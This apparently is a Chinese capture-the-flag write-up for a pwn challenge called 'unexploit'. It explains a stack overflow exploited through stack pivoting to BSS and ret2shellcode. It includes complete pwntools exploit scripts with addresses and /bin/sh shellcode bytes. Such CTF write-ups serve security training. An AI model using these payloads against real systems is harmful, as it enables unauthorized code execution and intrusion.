今天刚看了看安恒的7月月赛,觉得pwn蛮有意思,一开始窝还想歪了,于是做个记录(*^_^*)
检查保护
Result:无保护,64位程序
寻找漏洞
使用IDA可以发现明显的栈溢出漏洞,但是函数列表中发现没有任何的输出函数。因此一开始还以为这个题的考察点是ret2dlresolve。但是事实上在X64平台施行ret2dlresolve是十分困难的。这里摘取一段Veritas501大佬关于X64平台施行ret2dlresolve困难性的描述(原文传送门)。
绕过version的方法不能再用用x86的方法了,这是因为在64位下,程序一般分配了0x400000-0x401000,0x600000-0x601000,0x601000-0x602000这三个段,而VERSYM在0x400000-0x401000,伪造的一些表我们一般是伪造在0x601000-0x602000这个rw段上,这样idx是落不到已经分配的段上的,因此构造失败.
方法变成了覆盖 (link_map + 0x1c8) 处为 NULL, 也就是
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
这一句.
但是link_map是在ld.so上的,因此我们需要leak,若程序没有输出函数,则无法使用这个方法.这样,在64位上的ret2dlresolve就有了一个很大的局限点,就是需要leak,并overwrite,有这个能力的话,其实我们就有很多其他更好的target了.
如果要求没有leak就要使用伪造linkmap的方法。
其实这里应该想到,此处的NX保护未开启!
因此应当考虑使用ret2shellcode
技术!并且注意到ret2shellcode
技术也是无需输出函数的。
那么我们接下来需要解决的就是溢出空间过小的问题,我们此处采取栈迁移技术~
栈迁移
这里我们需要明确的是,在函数中,程序需要访问变量或者参数时一般都是基于rbp/ebp指针加偏移的方式。
那么我们这里可以操控程序返回时rbp的值。
也就是说,如果我们让函数在返回时再次运行函数中的read(0, &buf, 0x20uLL);
的话,我们相当于获得了一个任意地址写的能力。(因为此处&buf
其实是[RBP+(-8)]
)
那么我们就可以将shellcode
写到BSS
段。
这里我们还需要明确当程序遇到leave;ret;
时的具体操作
leave:
movq %rbp, %rsp # 使 %rsp 和 %rbp 指向同一位置,即子栈帧的起始处。
popq %rbp # 将栈中保存的父栈帧的 %rbp 的值赋值给 %rbp,并且 %rsp 上移一个位置指向父栈帧的结尾处。
ret:
popq %rsp # 从当前 %rsp 指向的位置(即栈顶)弹出数据,并跳转到此数据代表的地址处。
那么构造payload_1='A'*0x8+p64(BSS-0x8)+p64(函数内部read函数起始)+p64(函数内部read函数起始)
当该payload
被发送过去以后,栈的情况如下
然后进行mov %rbp, %rsp
:
然后进行pop %rbp
:
然后进行pop %rsp
:
然后向[EBP-0x8]也就是BSS段写入数据,然后再次遇到mov %rbp, %rsp
:
然后进行pop %rbp
:
那么我们可以很容易地发现payload
应当调整为
payload_1=p64(0xdeadbeef)+p64(BSS-0x8)+p64(函数内部read函数起始)
payload_2=p64(0xdeadbeef)+p64(BSS+0x8)+p64(函数内部read函数起始)
payload_3=p64(BSS+0x8)+shellcode
我们接下来使用图示来详细的说明它,首先发送payload_1
,内存布局如下
然后进行mov %rbp, %rsp
:
然后进行pop %rbp
:
然后进行pop %rsp
:
接下来发送payload_2
,内存布局如下
然后进行mov %rbp, %rsp
:
然后进行pop %rbp
:
然后进行pop %rsp
:
接下来发送payload_3
,内存布局如下
然后进行mov %rbp, %rsp
:
然后进行pop %rbp
:
然后进行pop %rsp
:
此时EIP被指到了[BSS+0x8],完成利用。
这里给出相关内存地址与完整payload。
# .text:0000000000400678 buf = byte ptr -8
# ... ...
# .text:000000000040068A lea rax, [rbp+buf]
# .text:000000000040068E mov edx, 20h ; nbytes
# .text:0000000000400693 mov rsi, rax ; buf
# .text:0000000000400696 mov edi, 0 ; fd
# .text:000000000040069B mov eax, 0
# .text:00000000004006A0 call _read
# .text:00000000004006A5 mov eax, 0
# .text:00000000004006AA leave
# .text:00000000004006AB retn
# ... ...
# .bss :0000000000601050 _bss segment para public 'BSS' use64
payload_1=p64(0xdeadbeef)+p64(0x601050-0x8)+p64(0x40068A)
payload_2=p64(0xdeadbeef)+p64(0x601050+0x8)+p64(0x40068A)
payload_3=p64(0x601050+0x8)+'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
EXP
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
unexploit=ELF("./unexploit")
# libc=ELF("./")
# ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./unexploit")
payload_1='A'*0x8+p64(0x601050-0x8)+p64(0x40068A)
payload_2=p64(0xdeadbeef)+p64(0x601050+0x8)+p64(0x40068A)
payload_3=p64(0x601050+0x8)+'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
sh.send(payload_1)
sh.send(payload_2)
sh.send(payload_3)
sh.interactive()
print(sh.recv())
其他问题
事实上这里还有一些其他的问题,如果使用我上面所述的exp,由于为了避免sendline尾部插入的0x0A对我们的ROP链造成影响,我上面使用了send作为发送函数,但这里就会产生一个问题,当我们发送payload_1后,程序并不会停止读入,而是会继续读取payload_2的前八个字节,同时payload_2的前八个字节缺失。会导致程序在读payload_2时一次性同时读入了payload_3。这样会使我们构造的BSS段与我们预期构造的BSS段产生差别,使BSS段在发送完payload_2时呈现如下的样子。
然后进行mov %rbp, %rsp
和pop %rbp
操作后:
最后进行pop %rsp
,恰好shellcode的起始地址成为了EIP:
也就是说,此时事实上应该是这样的payload
payload_1='A'*0x8+p64(0x601050-0x8)+p64(0x40068A)+p64(0xdeadbeef)
payload_2=p64(0x601050+0x8)+p64(0x40068A)
payload_2+=p64(0x601050+0x8)+'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
sh.send(payload_1)
sh.send(payload_2)
sh.interactive()
按照我预期的BBS段构造,EXP应当修改为:
payload_1='A'*0x8+p64(0x601050-0x8)+p64(0x40068A)+p64(0xdeadbeef)
payload_2=p64(0xdeadbeef)+p64(0x601050+0x8)+p64(0x40068A)+p64(0xdeadbeef)
payload_3=p64(0x601050+0x8)+'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
sh.send(payload_1)
sh.send(payload_2)
sh.send(payload_3)
sh.interactive()
但事实上,当时我们使用这样的exp调试时,我们会发现,程序会在第二次进入read后即getshell,并没有在leave;ret;
后getshell。
要解决这个问题,我们需要分析一下第三次进入read的调用情况。
首先我们知道,在x64下,read的三个参数由寄存器传递,不需要涉及栈操作
那么当程序进入read之后要先对RBP和返回地址进行压栈(保护现场)
接下来程序会对[(BSS+0x8)+(-0x8)]的内存区域写入payload_3。
注意此时read的返回地址被覆盖为了shellcode的起始地址,因此,在read返回时就会返回到我们的shellcode区域。
0 条评论